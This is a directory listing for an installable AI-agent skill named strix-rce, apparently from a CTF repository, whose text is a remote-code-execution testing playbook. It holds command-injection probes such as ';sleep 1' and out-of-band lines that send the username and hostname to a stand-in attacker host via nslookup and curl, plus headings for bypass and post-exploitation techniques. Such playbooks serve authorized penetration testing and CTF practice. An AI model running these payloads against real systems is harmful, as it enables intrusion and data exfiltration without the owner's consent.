npx skills add asdfgh1445/ctf-super-hub --skill strix-rce --agent codex
Same command for any agent — swap --agent for claude-code, cursor, copilot.
Weekly change comes from our own snapshots, not the repository page — it measures attention, not adoption.
# RCE Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed. ## Attack Surface **Command Execution** - OS command execution via wrappers (shells, system utilities, CLIs) **Dynamic Evaluation** - Template engines, expression languages, eval/vm **Deserialization** - Insecure deserialization and gadget chains across languages **Media Pipelines** - ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg **SSRF Chains** - Internal services exposing execution primitives (FastCGI, Redis) **Container Escalation** - App RCE to node/cluster compromise via Docker/Kubernetes ## Detection Channels ### Time-Based **Unix** - `;sleep 1`, `` `sleep 1` ``, `|| sleep 1` - Gate delays with short subcommands to reduce noise **Windows** - CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1` - PowerShell: `Start-Sleep -s 2` ### OAST **DNS** ```bash nslookup $(whoami).x.attacker.tld ``` **HTTP** ```bash curl https://attacker.tld/$(hostname) ``` ### Output-Based **Direct** ```bash ;id
- Attack Surface
- Detection Channels
- Time-Based
- OAST
- Output-Based
- Key Vulnerabilities
- Command Injection
- Template Injection
- Deserialization and EL
- Media and Document Pipelines
- SSRF to RCE
- Container and Kubernetes
- Bypass Techniques
- Post-Exploitation
nslookup $(whoami).x.attacker.tld curl https://attacker.tld/$(hostname)
What does the Strix•远程代码执行 skill do?
Strix RCE 测试手册,覆盖命令注入、反序列化、模板注入与代码求值;触发名:strix-rce
How do I install it?
Run `npx skills add asdfgh1445/ctf-super-hub --skill strix-rce --agent claude-code` — it drops the skill into your project so the agent can pick it up. Swap the --agent value for codex, cursor or copilot if you use one of those.
Where does this skill come from?
From asdfgh1445/ctf-super-hub, a repository with 718 stars. We read it straight from the repository tree rather than a submitted listing, so what you see here is what is actually published.
Is a popular skill a good skill?
Not necessarily. Stars measure attention, not adoption — a repository can trend for a week and be abandoned. That is why we show the weekly change from our own snapshots next to the total, instead of a single flattering number.